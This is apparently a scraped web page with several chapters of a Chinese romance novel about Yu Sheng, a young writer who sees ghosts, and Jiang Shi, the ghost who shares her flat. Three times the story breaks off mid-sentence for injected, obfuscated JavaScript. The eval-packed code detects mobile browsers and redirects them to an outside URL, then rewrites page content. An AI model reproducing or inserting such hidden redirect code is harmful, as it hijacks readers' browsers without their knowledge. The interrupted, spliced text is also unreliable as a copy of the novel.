“还是那样,好几年了,也没法做手术,只能保守治疗,走一步算一步。” 聊到伤心的地方,秦淑含眼泪将落未落,聚在眼眶里,她低头掩着眼用手胡乱擦去,强撑个笑抬眼看喻声。福珠的病、福利院众多孩子的病往她脸上剜开很多条沟沟壑壑,这一笑沟壑又深陷了些,没擦干的泪弯绕成河填进了沟壑里。 她转着话题,问:“留下来吃饭吧,今晚饺子包了很多,有你最爱吃的白菜肉馅。” 喻声抿唇,后悔自己脱口而出的提问,也明白此刻所有的安慰都是徒劳,也许是她思索时手握得紧了点,怀里的福珠悠悠转醒。 “喻声姐姐,秦奶奶——” “饺子!” 福珠朦胧的眼在看到饺子时陡然亮了起来,得知是秦淑含亲手包的时双眼变得更加灼灼:“我要吃!” 喻声被逗笑,往下扯好她睡得皱巴巴的衣服,轻拍了下背把她放下来,小姑娘刚站直就撒着欢奔向饺子,跑到一半想起来什么,还返回来踮脚伸直手把喻声送她的礼物袋子取下来抱在怀里,再掉头去拿碗领饺子。 “慢点!这孩子。” 秦淑含的泪被福珠明亮如太阳的话蒸发干,喻声的心也比刚才轻快了不少,她拒绝了秦淑含的好意:“秦奶奶,我该回去了,不然太晚了夜路不好走。” “你瞧我这记性,我都还习惯你住学校,公交直达校内那会呢。现在自己住了,确实该早点回家,安全点。”秦淑含说,“你等一下。” 她撑了下桌子站起来,转身进厨房,不多时提了袋柿子出来,和两年前一样,往喻声手里塞:“前几天摘了,一直在等你来。” 不止两年前,每一年,柿子树结果的日子里,摘好的柿子,秦淑含都会给喻声留一袋,但她不会提让喻声来拿,怕会让这份关心背上贬义的意味。 只是每到柿子成熟的时节,她会带着福珠在门口玩一会儿。 这是福珠告诉喻声的,因此每年喻声这个时间段就算没空,也会抽时间来,算是彼此之间一种心照不宣的默契。 喻声笑着接过,和捧着碗回来的福珠告别,劝住要送送她的秦淑含,从热闹的、冷白的灯光中退出,迈入空旷得只剩江时、暖黄的夕阳里。 喻声在台阶这头,江时在台阶那头,从低朝高望着她,伴随着掀开的食堂帘子嘴角漾起熟悉的小括弧。 喻声迈得很快、很急,台阶一步到两步,等到平地时小跑了下。 “等很久了吗?” “没有。”江时顿了一下,“怕你找到我要很久,就在这里等你了。” “福利院才多大,你去哪找你都不会太久的。”喻声笑,“现在回家吧。” 从福利院回到公寓,只需要在福利院门口坐六站公交车,在书店下车,再走五分钟就能到。 出来的时间很不凑巧,等到整片天空都熬成可见度很低的黑,才等到公交车出现。 从食堂台阶处走到公交站,直到上了车,两人都没再说一句话,一开口,仿佛话题兜着转着又会回到原点—— 喻声抱着福珠离开树下的长椅,背对着江时的时候,耳边传来他的提问。 “我的存在,也会让你变得开心一点吗?” 上了车,喻声坐到窗边,目光可以自然地放到没人的风景上时,才有空思考这个问题,包括苦恼的“习惯”一词。 习惯和开心是有区别的。 习惯意味着羁绊,意味着片段记忆被占据;而开心意味着不后悔,意味着点状记忆可以珍藏。 “如果回到那天,我仍然会在自我介绍后,问你想不想谈谈。” 外面淅淅沥沥下起了雨,雨水在车窗上蜿蜒。 江时忽然轻笑:“知道了。” 他坐在喻声旁边,靠过道的位置,趁着车内下班的乘客都疲倦地垂下双眼没注意周围的间隙,把喻声掉了一半的有线耳机塞回她耳朵里。 雨水滴答声、公交到站的播报声、耳机里清晰的歌声、江时缓缓的说话声,同时传来,喻声超负荷,有点宕机。 “前方到站,家和书店,请从后门下车,注意脚下安全。” “以后也是,有想谈的可以跟我谈。” “不走吗?” 江时站起来,指了指窗外,问。 喻声扭头,从模糊的车窗依稀看到亮着的“家和书店”的招牌,忙不迭地把柿子提好,手捂着头往下冲刺,到书店屋檐下才停住。 比起喻声的慌乱,江时显得不疾不徐。 他路过时,雨水就停在半空,落不到他身上,等他错开时才砸向地面。 ——鬼果然活得比人更自在。 喻声想。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373071|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不买把伞吗?” “需要伞吗?” 一道声音飘在空中,一道声音落到实地,书店里的灯光透过虚掩的门也照得一明一暗,喻声站在明暗分界线上,下意识往明亮的那面望去。 是一个很白净的男生,刚从书店里走出来。 他穿着白衬衫西装裤,衬衫虚虚挽到手肘处,衬得骨骼感明显,脸上挂着眼镜,拿着伞递过来的那只手上戴着黑色腕表,另一只手提着购物袋,里面装着两本书。 江时被劫了话茬,语气冷漠:“肯定是书店派来卖伞的。” 喻声:“……” 见喻声久久不回应,男生又把伞往喻声面前递了一下,开口:“我家离这儿不远,我跑过去就好了,伞你拿着吧,别感冒了。” 江时靠着书店的玻璃门:“别信他,谁知道收了伞后会提什么要求。” “……” 喻声不露痕迹地挡住江时的视线,无声地阻止他再说话,“谢谢啊,不过不用了,雨不大,我也跑回去就好了。” 男生愣了一下,似乎没想到喻声会拒绝,他的话都堵在喉咙里,把脸憋红,犹豫半天终于闭眼破罐子破摔地问出来:“我是想问,可不可以要个联系方式?我不会打扰你的。” 江时靠过来,拉住喻声的手腕往后撤了一步,上下打量着男生:“我说对了吧,果然不怀好意。” 男生看不到江时,却能看到喻声在往后退,眼神不由黯淡了一瞬。 “不好意思啊。”喻声礼貌拒绝,“不太方便。” “……好,打扰你了。” 男生勉强笑了下,没再说什么,逃荒似的躲进雨中,有伞也忘了打开。 “我还以为你会不懂怎么拒绝。” “为什么这么说?” “你不是不喜欢跟人打交道吗?” “这叫社恐。” 江时从善如流:“你不是社恐吗?” 喻声瞥了他一眼:“你在旁边这么叽叽喳喳的,谁还顾得上社恐。” 江时:“……” 他望天,选择性忽略喻声的话,几番辗转又绕回最开始的话题上来:“买把伞吧?” 喻声掌心朝上,伸到屋檐外,感受雨的温度,缩回手后又看向江时。 “淋雨吧,我们尽快回家。” 偶尔,也想像那些如柿子般的小孩一样昂扬朝气一次,哪怕是用最幼稚最无厘头的方式,哪怕最终被定义为肆意妄为。 好在还有陪喻声胡闹的人。 江时扬了扬眉,无声接受她的提议,喻声毫无防备,被扯住右手腕就往雨中跑。 手腕处他刚拉着她往后退时的温度还没撤去,马上又覆上新的,手与手的间隙里有水滑过,烫得喻声一激灵。 说好是淋雨,也不止喻声在淋,江时不再避开,顺从地让雨穿过他。 世界上最小的雨,世界上最雀跃的心脏。 喻声笑,左手掰开江时的手指,在他扭头惊讶的眼神中冲到他前面,主动拉着他往家的方向跑。 雨的气味和声音充盈两人之间,愈发清晰。 ——普鲁斯特效应。 喻声在写文时反复运用过的、用于双方绑定记忆和情感的一种效应。 在此刻。 喻声确信。 以后淋的每一场雨,都会想起江时。 9. 100岁 江时被扯着往前跑时,蓦然发现他读不太懂喻声。 她大多数时候像青苔,简单、寂静、向下兼容,对于任何外来的事物都能温吞地接受;偶尔却也像火,不会熄灭,在雨中也能明亮、热烈、向上燃烧。 读不懂,却很好。 他比他想象中的,更喜欢喻声发着光的另一面。 雨也比他想象中的更加猛烈。 跑到公寓楼下时,两个人都可以和落汤鸡相比拟。 喻声松开江时的手腕,跑进架空层躲雨,手撑着膝盖大喘气,抬眼看到被雨水糊了一脸,湿发贴着额角,水珠还顺着发梢往下掉,没比她好到哪里去的江时,又噗呲一声笑出来,结果演变成边喘边笑,久久无法起身。 挺帅。 就是太狼狈。 江时无奈地看着喻声笑,往下捞住她的手臂让她借力站直,接触的瞬间一如之前把她身上的雨水都清理干净。 “笑完了就上楼吧,去洗个澡。” 喻声看了眼楼梯,连连摇头:“让我再缓缓。” “你这体力——”江时委婉,“别老闷在家里,多出门走走。” 喻声:“……” 委婉说出来的话更难听了。 喻声瞬间站直:“走吧,现在回去。” 她正想往前走,却被江时拦住:“我走前面。” 喻声的疑惑在看到楼梯拐角的幻影时消失,等走到了拐角处,记忆中的腥风血雨没有出现,取而代之的是一片宁静,只剩微风拂过脸颊。 江时的脚步声一开始很轻,几乎听不见,路过拐角往上走时就越来越重,咚、咚、咚—— “心跳这么响,刚刚跑完还没缓过来?” 喻声一怔:“不是。” 江时放缓声音:“还是刚刚被吓到了?它刚成鬼,没什么威力,别怕。” “……也不是。”她想了想,还是说出口,“刚才,谢谢。” “这不是我应该做的吗?”又一个拐角,喻声在昏暗的灯光下看清了他浮现笑意、柔软的脸,“别总跟我说谢谢。” 不说谢谢,应该说什么? 说—— “最近我也挺开心的。” 也开始觉得习惯应该不是件坏事。 雨声渐渐模糊,直到上了五楼,出了楼梯间,江时才把在心口握成拳头的手放下,低低地嗯了一声,声音很轻,散在风中。 - 入了秋,东宜的天气更加阴晴不定,去福利院前还是晴空万里,回来时又到处湿漉漉的,雨到了凌晨才终于停歇,一大早的,人还没睡醒,阳光又直喇喇地往屋里刺。 而此时,有人的心情比外面的天气更加阴晴不定。 喻声为难地看着在地上咬着磨牙玩具,闹腾地摇着尾巴转来转去,冲着江时汪汪叫的豆乳,再为难地看看始终维持在三米远,警惕地盯着豆乳的江时,脑海中浮现的是一大早舒云繁抱着豆乳,可怜巴巴的托付—— “声声,豆乳今天可以待在你这里吗?” “可以是可以。”喻声迟疑,有点担忧,问,“但你是有什么急事吗?” 舒云繁平时去便利店上班会背个大的帆布包,里面装有平板、水杯、化妆工具等等,用这些来填满一天中没客人时的闲暇时间,而今天明显来得匆忙,包都没带。 “还不是我哥。”舒云繁叹了口气,“说是昨晚下雨路滑,摔了一跤,也不知道摔得多严重。他一个人住也没人照料,我得去看看他。” “给我吧。”喻声张开手,从舒云繁怀里接过豆乳,“你赶紧去吧,摔伤了干什么都困难。” 舒云繁和她哥哥的困难暂时解决,等门关上,豆乳落地,喻声手里还提着装有狗粮、牵引绳和玩具的袋子,才后知后觉想起了自己的困难。 她接了个稿,涉及她不太熟悉的领域,奈何单主还自愿抬高了稿价,喻声不至于和钱过不去,咬咬牙接下,没承想卡文卡到现在,今天是最终截稿日,时间紧迫,她必须要找个安静的地方好好理理大纲,顺顺剧情。 “那个——” “想都别想。” 江时原本警惕地盯着豆乳,一听喻声开口,视线立马从豆乳身上挪开,斩钉截铁地拒绝。 喻声最擅长顺毛: “给你买布丁?” “想都别想。” “布丁和鲷鱼烧?” “……想都别想。” “布丁、鲷鱼烧和奶茶?” “……” 江时烦躁地抓了抓头发,未发一言。 “买你最喜欢的那款奶茶,小料加满,全糖。”喻声看到希望,双手合十,乘胜追击,“而且你只帮我看一会儿就够了,喂食我来,等我把大纲理完就带它下楼散步。” “……不用碰它?” “不用,有突发情况你就喊我。” 江时最终妥协:“……我试试。” - 喻声发短信询问舒云繁关于豆乳的喂食时间和饭量,再定好闹钟后,就把手机的wifi断掉,阻断诱惑源,全身心投入大纲的整理工作中。 她的困难解决,江时的困难刚刚开启。 他寄希望于那袋玩具能消耗豆乳的精力,随手掏出来后就往豆乳身后扔,但显然豆乳比起玩具更喜欢玩他,瞥都不瞥那些玩具,直冲冲朝江时扑过来。 江时被吓了一跳,下意识扭头就跑,完全忘记还有自己还有闪现的功能,在家里和豆乳开启了追逐战。 “停!” 江时被迫躲进厨房,他跑累了,双腿交叉坐在地上,手掌撑地俯身,另一只手的食指屈着敲击推拉门的玻璃,问被隔绝在外的豆乳:“你到底想干嘛?” 豆乳叫了一声,白色爪子挠着玻璃。 “我不怕你你懂吗?” “汪。” “我只是累了,找个地方坐一下而已。” “汪。” “你看你这么小只,能有什么杀伤力——” 江时话还没说完,听累了的豆乳摇着尾巴转身,跳跃,精准地把因厨房采光好而移到厨房边架子上晒太阳的盆栽撞击倒地,红陶盆瞬间四分五裂。 江时:“……” 厨房门内是重创过盆栽叶子的江时,厨房门外是重创过盆栽花盆的豆乳,一鬼一狗隔着受害者,面面相觑。 江时迅速起身,推开门,刚想神不知鬼不觉地处理案发现场,一抬眼,视线就和因听到响声出房间查看的喻声对上。 喻声只低头看一眼就大概能把事件过程捋顺,但她还是秉承着不冤枉任何一方的原则,耐心地问:“发生了什么?” 江时立马告状:“它干的。” 豆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小狗头顶的毛蹭掉了,在柔软的阳光中飞舞,轻轻落到江时的鼻尖,又被无意识皱眉揉鼻扬起,重新流转于阳光中。 无足轻重的一个下午,有种无法用言语来表达的平淡幸福在蔓延,成为记忆中举足轻重的锚点。 那个“客厅腾给我住”的要求,像藏在松软面包里的僵硬葡萄干,直到今天,喻声才后知后觉地感受到它攻击性下的美味。 ——漫长的100年里,只剩他一个人,他也会怕孤独,也会觉得冷清。 这种感觉,她不是不懂,只是刻意忽略。 喻声安静地把扔了一地乱七八糟的玩具捡回袋子里,没打扰熟睡的一鬼一狗,出了家门,打算把承诺好的布丁、鲷鱼烧和奶茶都买回来。 布丁要焦糖奶酪味的,鲷鱼烧要先吃尾巴,要刚烤好时那种脆脆的口感,奶茶里加了三颗冰淇淋还要全糖,这位100年前的老古董口味不是一般的刁钻。 还十分嗜甜。 喻声怕鲷鱼烧买太久了会塌,就先买了布丁和奶茶,才掉头回去买鲷鱼烧。 在等着鲷鱼烧出炉的时间里,喻声余光瞥见了什么,犹豫片刻,还是和鲷鱼烧店主解释“我已经付好款了,一会儿再来拿”,转身进了旁边的店铺。 10. 100岁 “这是给我的?” 喻声回到家后,江时和豆乳都已经醒过来了,豆乳百无聊赖地趴在地上,江时盘腿坐在沙发上,双手随意搭着,直愣愣地盯着前方,一脸没睡醒的样子。 听到开门声,他的脑袋像老屋里年久失修的风扇,一卡一卡地转过来,再一顿一顿地转回去,风力也不足,声音顺着飞舞的小绒毛飘过来。 “回来了。” “回来了。” 小绒毛飞到挂钥匙的喻声面前,她笑着蹲下来,安抚地揉揉豆乳的脑袋,夸了一句好乖。 “东西我都给你买回来了,你先准备吃饭吧,我下楼遛遛豆乳。” 江时没说什么,只懒散应了一声,转着酸痛的手腕,从沙发上站起身,在看到喻声塞给他的东西时一怔。 “这是给我的?” 喻声无法预言未发生的事情,但当江时的声音和脑海中预设的声音重叠,并从中读出期待时,还是会有点莫名雀跃。 “对。”喻声边把胸背放在地上,牵着豆乳的两只手往圈里套,再往上提,在背上扣紧,挂上牵引绳,边分心回答江时的话,“不是经常看我用吗?应该差不多会用了吧?你先自己摸索着,不会的话等我遛完豆乳再来教你。” “这是奖励?” 江时捏着新手机,忽然问。 ——这是奖励吗? 十五岁时的喻声也很爱问这句话。 那十五岁时的喻声爱听的是什么回答? 二十三岁的喻声一顿,拍拍豆乳穿好的胸背,平静地站起身。 而后,十五岁的喻声听到了自己穿过时间、退回原点、久违的声音。 “只是庆祝你做得很好而已。” 因为做得很好,所以值得庆祝,仅此而已。 - 豆乳的闹腾只针对江时,被喻声牵着往前走时倒是异常乖巧。 在这里住了一段时间,要不就是闷在家里,要不就是有目的地的行色匆匆,还没好好看过这里的景色。 江时说得对。 她是得多出门走走。 喻声抬头。 天空被住宅楼分割成好几片,浓郁的金色从裂缝里流淌出来,不吝啬地漫过它所能发现的每一砖一瓦、一人一物。 于是天地之间,有金色的墙、金色的台阶、金色的树、金色的电线杆、金色的正在叫卖的小推车、金色的豆乳、迎面走来的金色的舒云繁—— “声声!” 舒云繁惊喜地朝喻声跑来,“你和豆乳在散步吗!” “你慢点。”喻声笑,等舒云繁跑到她面前站定才回答她的话,“对,我们在散步,要不要一起?” 豆乳见到舒云繁已经按耐不住往她腿上蹭了,舒云繁眼睛亮了一下,接过喻声手里的牵引绳,说了句当然要。 “我还以为你要晚上才能回来。” 舒云繁摇头:“我和我爸妈轮流去看我哥,我爸在看店,我妈去给他送饭,我就先回来了。” “那你哥哥情况怎么样?” 直到晚上吃饭时,喻声还在思索着散步时和舒云繁的对话。 “我觉得我哥不对劲。” “什么意思?” “我今天早上去看他的时候,他整个人都魂不守舍的,问他话时他也迟疑好久才回答。我还问了他怎么摔的,他一直支支吾吾,就说没看清路,感觉像在敷衍我。” “……会不会是你想太多了?” “肯定不是,他今天的状态和平时完全判若两人。”舒云繁信誓旦旦地说,“我又想到上次在你家晃眼看到那个碗飘在半空中,声声你说,我哥不会撞鬼了吧?” “……” 让喻声如此纠结的原因其实很简单。 她有阴阳眼,如果能帮舒云繁看看,至少她不会再这么担心;但这么做的同时势必会让舒云繁先知道她能看见鬼,好不容易有了第一个朋友,她不想就这么失去;可交朋友的前提是坦诚,如果可以,喻声也不想瞒着舒云繁。 弯弯绕绕的,竟找不到一个折中的解决办法。 “我哥今天的状态就这样。” 舒云繁冷不丁地说。 “……嗯?” 喻声从乱糟糟的思绪中挣扎出来,疑惑地抬头看向舒云繁。 “我哥今天的状态和你一样,头都快埋进饭碗里了,一个劲地吃白米饭,一点菜都不夹。”舒云繁关切地问,“声声,你怎么了?是这家外卖不好吃吗?下次我们自己在家做好了。” “不是,我是在想——” 喻声才注意到自己扒拉了半天只吃了白米饭,于是筷子拐了个弯,最后夹了一块滑蛋牛肉放进碗里,思忖半晌,还是把纠结了半天的话说出口,“舒舒,要不我帮你看看吧?” 舒云繁摸不着头脑:“帮我看什么?” 喻声把自己能看到鬼的事情和盘托出,果不其然收获了长久的沉默。 难捱的沉默。 明明是司空见惯的事,但喻声的心还是像被针刺到了一般迅速地瘪了下去,几乎让她再撑起一个勉强的笑都不能,漏洞百出的心最终能通过裂孔掏出来的只有一句没关系。 “没关——” “这也太酷了!”舒云繁睁大眼睛,“果然就我一个人是普通人是吧!” 喻声怔住。 舒云繁絮絮叨叨地说着我哥就靠你了,说着能看到鬼是鬼屋密室爱好者的福音,但又想起上次心有余悸的经历,深深叹了口气。 “不过亲眼所见和想象中的还是不太一样,声声,你受了很多苦吧。” 怎么会没关系。 只是常常遇不到有一个人可以坚定地向她走来,然后说有关系也没问题,有异于普通人的地方是一件很酷的事情。 喻声的泪水要比言语先出来,泪填满了瘪下去的心脏,舒云繁慌张地递过来的纸巾是创可贴,捂住被针刺的伤口。 “不痛吗?伤口。” 喻声迟疑,最终摇头。 “痛就要说啊。” 舒云繁回家后,喻声本来还在盯着门口怔愣,突然被不知道从哪里冒出来的江时牵住,半强硬地把她带到沙发上,问她小腿上的伤口是怎么回事。 喻声坐在沙发上,没回想起来是什么时候受的伤。 本来没什么感觉的伤口一被询问好像真的开始隐隐作痛,仿佛一直身处案板上,此时刀才磨好落下,凌迟的痛感从伤口处进入,自眼睛中出来。 江时拿着棉签,坐在地上半俯身,帮她把伤口清洗干净,语气有点无奈:“我能像帮盆栽一样帮你解决伤口,但解决不了痛感,所以上点药会好点,也别憋在心里,说出来也会好点。” 按到伤口,喻声痛得皱眉,下意识缩回腿,开口。 “痛,但过段时间就会自己好的。” 喻声说,“我现在好很多了,谢谢你。” 江时把棉签扔掉换了根新的,蘸了碘伏擦拭着:“谢我什么?只是庆祝你做得很好而已。” ——只是庆祝你做得很好而已。 喻声送给江时和八年前自己的话,被江时送给了二十三岁的自己。 “你学的倒挺快。”喻声终于笑,低头看江时,这个角度只能看到他小小的发旋和轻轻的动作,“我有什么做得好的值得庆祝?” 江时换了药膏上药,头没抬,慢悠悠地回应着。 “本来可以不说,还是说了。” “本来可以不做,还是做了。” “本来一直沉默,还是学会了痛就要说出口——” “这不值得庆祝吗?” 他一句一顿,很轻,也重,像羽毛,也像石头,于是心脏被泪水灌满、被创口贴捂住的后遗症是又痒又酸。 “诶。”江时停了手上的动作,抬眼看向喻声,正好和喻声四目相对,他佯装不快,问,“这都不值得庆祝的话,为什么我跟狗玩就值得庆祝了?你是在哄骗我吧。” 江时是一本摊开的,很好懂的练习册。 他会凶巴巴地提一千个一万个问题,但同时也会在问题旁边用小字写下—— 你往后翻,最后有答案。 在第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16373073|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几页上都给你注得明明白白。 喻声眨眼:“那值得庆祝的话,让你帮个忙不过分吧?” “什么?” “虽然答应了舒舒,但还是有点害怕,你陪我去吧?” 看在新手机的份上—— 江时点头点到一半,又猛抬头,全身心往前倾:“你果然是在哄骗我吧!” - 喻声为了精进写文技巧,也看过不少书和电影,从中她能大概总结出一点经验来: 不论是哪种类型,剧情都为王道,剧情更加地跌宕起伏、出乎意料,热度就会更高,相比起平淡的剧情更能被读者和观众接受。 但这一套不适合日常生活,生活中太过跌宕起伏和出乎意料,很容易陷入被命运支配的窘迫局面中。 例如此刻。 喻声被一颗名为尴尬的钉子钉在了门口,呆滞地听着舒云繁开门后,朝坐在沙发上看书的男生清脆地喊了一句“哥”。 白净、戴眼镜、戴腕表、书。 书店卖伞—— 不对。 书店借伞的那个男生,怎么会是舒云繁的哥哥? 舒云繁没留意到开门后流转于两人中间的奇怪氛围,挽住喻声的胳膊,还在相互介绍着。 “声声,这是我哥;哥,这是我朋友,喻声,听说你摔了就想来看看,我昨晚跟你说过的。” 舒云霁率先做出反应,他合上书,手指把书页压得很紧,却还是语气轻松地打了个招呼:“先坐吧。” 舒云繁把喻声推到沙发上坐,附耳小声让喻声好好替她看看她哥什么情况,随即看向舒云霁:“哥,我去给声声倒杯水,要帮你也倒一杯吗?” 舒云霁说了声好,舒云繁把放在茶几上的空水杯顺走,进了厨房。 舒云繁离开后,喻声坐立不安,尤其是在得知这个屋子内只有江时一个鬼,舒云繁口中她哥哥的奇怪行为有概率是因为她后,这种坐立不安的感觉更甚。 “那天——” “前天晚上——” 两人同时开口,舒云霁笑:“你先说。” “那天对不起啊,我当时可能语气不太好。” “怪我太鲁莽。”舒云霁把书放到一边,声音温润,“小繁要是说了什么不该说的,你别理她。” 他倒是很了解他妹妹。 喻声笑,心虚感减轻了些。 舒云霁继续往下说:“前天晚上会那么突然,是因为看到了那个。” 他伸出食指,虚空指了指喻声的包。 喻声太多零碎的东西,出门前再倒腾来倒腾去也麻烦,索性一包背到底,前天去福利院也是背的这个包。 不过这个包有什么新奇的地方吗? 见喻声一脸懵,舒云霁又解释:“包上的挂饰,是东宜福利院发给志愿者的吧?我也有一个,就觉得挺有缘分,才想着要个联系方式,但好像吓到你了。” 原来是这样啊。 纯粹的、不关乎男女间的感情,仅仅只是因为有相同的经历。 这么想着,喻声的心情轻快了很多,她握着手机递上前:“现在加个联系方式吧?下次如果有志愿活动我可以直接跟你说。” “好。” 舒云霁划拉着手机,没过几秒,喻声手机就弹出一条消息。 舒云霁:「我是舒云霁。」 喻声慢吞把自己的名字发送了过去:「喻声。」 “在聊什么?” 舒云繁拎着两杯水走过来,期盼地看向喻声。 喻声小幅度地对着她摇了下头。 除了她带过来的那个,房间内没有其余鬼的存在。 想到这里,喻声突然意识到,从进了舒云霁的家直到现在,江时全程保持沉默,明明第一次见到舒云霁时最吵的就是他。 喻声喝了口水,半掩饰地偷偷瞥了一眼江时。 他靠在门边,懒散地,对上喻声的视线时开口说话,声音几乎是哼出来的,听不出高兴还是不高兴。 “凭什么这里就我没有你的联系方式?” 11. 100岁 喻声很想问江时。 他们俩这么睁眼就相见,闭眼偶尔还会梦到的,有什么加联系方式的必要吗? 更何况和鬼交换联系方式,怎么想都觉得很诡异。 但碍于舒云繁和舒云霁在,喻声还是把话咽了回去,她收回目光,假装听不到说话声音,把注意力放到了舒云繁身上。 舒云繁正蹲着,熟练地从茶几下挑挑拣拣掏出两包芝士玉米球。 她给喻声塞了一包,另一包直接撕开后开嚼,整个人陷入沙发里,视线瞥向舒云霁,在他即将开始说教时截下话口。 “哥,那你工作怎么办?” 见喻声没拆开包装袋,舒云繁在自己袋子里掏出一颗递到喻声嘴里,向她解释着。 “我哥是医生,连休息的日子都在医院查房,因为摔伤,我还是头一次看到他连续两天都待在家里的。” 那他在这么忙的情况下,还能坚持去福利院当志愿者,看来是真热爱,在书店偶遇包上挂着福利院挂饰的她想要个联系方式也不足为奇了。 有了正面论证和侧面论证,喻声心里那块不上不下的石头终于以完美的抛物线沉入心湖底,再也泛不起一丝涟漪。 “那很辛苦。”喻声说。 “我只请了这两天假,明天就回医院上班了。”舒云霁先回答了舒云繁,又看向喻声,笑着说,“还好,辛苦着辛苦着也就习惯了。” 他想了一下,手指无意识地摩挲手中的玻璃杯,就休息时间开了个新的话题。 “今年国庆和中秋隔得不远,排班后我还有五天假期,可以约着一起出去玩几天。” 闻言,舒云繁连玉米球都不吃了,转头眼睛亮晶晶地盯着喻声。 喻声第一反应就是先拒绝:“我就不去了吧?攒了挺多工作的。” 先不论和舒云霁刚认识两次就去旅游有点超出她的社交承受范围,她也真没在节假日人挤人的意愿,何况还没问过春华女士国庆的安排,不知道要不要趁长假期回趟棉城。 但舒云繁实在太缠人,左一个她在东宜都快长毛了,右一个她还没跟喻声出去玩过,上一个码字在哪里不是码,下一个她哥的伤压根不严重,不影响旅游走路,把喻声的所有借口都堵了回去。 最后喻声只能投降,说等回家先给奶奶打电话问问看先。 缠人的何止是舒云繁,还有个从去了舒云霁家后就赌气到现在的幼稚鬼。 回到家后,喻声攥着手机进了阳台,给春华女士打了个电话。 这个点,春华女士大概在做晚饭,铃声响了很久还没人应答。 东宜虽说入了秋,但天气变化不大,大家出门还是习惯穿短袖,有时早午得靠空调才能心平气和地度过。 但棉城和东宜不太一样。 棉城的四季很分明,入了秋温度就会开始骤降,每每到了这时,春华女士就会从头到脚给喻声裹上一层,喻声如若不愿,她就会以身作则,说奶奶也是这样穿的,我们祖孙可都不能着凉。 好几年都不在棉城过秋,喻声突然很想看看,没有她在身边,春华女士会不会好好地以身作则。 于是她把电话挂断,转为视频,好在这次没等多久,春华女士接了视频,开口依旧是熟悉的关心。 “生生,吃饭了吗?” “还没呢,打完视频就去吃了。” 她边回答,边看着屏幕里的春华女士。 很好。 小老太太穿得很严实。 喻声放下心来。 她果然是在做饭,手机架在正对着燃气灶的窗台上,燃气灶上还煨着肉。 “春华女士最近都在忙什么呢?” “有个刚上初中的孩子,玩啥不好非玩招鬼游戏,这不就被缠上了?我见了那孩子,那脸色蜡黄的,瘦得都剩皮包骨了——” 话说一半,王春华把手机举起来,正对着光,仔细端详着屏幕那头的喻声,才满意地点头,“你最近气色看起来不错,奶奶就放心了。” 她定睛一看:“不过你后面怎么——” 喻声胳膊本来随意搭在阳台栏杆的扶手上,闻言心猛地一跳,她收回手,紧绷转头,目光扫过身后。 身后是安静的客厅,江时不在:“我后面怎么了吗?” 王春华皱眉,摇头:“应该是我眼花看错了,总之你一发现不对劲就得告诉奶奶,知道了吗?” 喻声怕她再说下去就得扯出江时的事,连连答应,迅速抛出一开始打电话的目的:“今年国庆和中秋挨得近,我在想要不要回趟棉城。” 东宜,30°,晴朗无云。 棉城,17°,微雨。 屏幕里传来啪嗒啪嗒声,太模糊,喻声听不清是肉的浓汤往上冒泡的声音,还是雨水敲着窗户的声音,春华女士的声音倒是很清晰,裹着啪嗒啪嗒声传来,是意料之内的拒绝。 “别回来了,我都报好旅行团出去旅游了,你回来了不也得一个人守家?” “奶奶。” 有片刻的静默,喻声出神地望向窗外,天空有飞鸟掠过,来去无踪。遛豆乳时的美丽景色像只留在了昨天,她恍然发现自己记忆中棉城的秋随着视频里听不清的背景音一起,年复一年,逐渐变得模糊。 她有点害怕。 害怕最后会连棉城秋时唯一清晰的,春华女士的声音也变得模糊。 “我们是不是很久没一起过中秋了?” 挂断视频前,喻声只听到最后一句。 “生生,听话。” 听话的定义是什么? 是想说的太多,到底没说出来,最后只能以一声“嗯”草草收场。 喻声在阳台站了好一会儿,直到所有路灯都悉数亮起,再也等不到一只飞鸟才转身回客厅。 “你刚刚到阳台来了?” 江时背对着阳台,坐在沙发上,只露出个圆圆的后脑勺,喻声没忍住问他。 “我只是想看看。” 他头也不回地回答。 “……看什么?” “看看除了舒云繁两兄妹外,到底还有谁能有你的联系方式。” “……” 喻声无语望天。 她当时是怎么觉得照片上的他比现在的他多了稚气的? 明明论起幼稚程度来,这么多年明显有愈演愈烈的趋势啊。 喻声不客气地从江时手里抢过手机,扫码添加一气呵成,随后加以警告:“我奶奶也能看见鬼,以后我视频的时候你小心点,别被她看到了,她的功力在整个棉城都是数一数二的。” 江时看起来心情很好,没反驳,干脆地说了声知道了,他会注意的。 「江时。」 「声声,你打完电话了吗?」 喻声的手指在第一条消息上停顿,最终没点开,她往下划拉,打开了舒云繁的聊天框,边回边坐下。 喻声:「我打完电话啦。」 舒云繁:「那决定了吗!」 喻声:「嗯,一起出去玩吧,我也好久没旅游过了。」 舒云繁明显很兴奋,发了十多张小狗转圈圈的表情包过来,在最后面附带了一条链接:「你看看这里怎么样?机酒不贵,我查了一下,居然国庆就开始下雪了,之前我们看电影的时候不是还讨论过东宜都不下雪吗?正好趁长假期我们去 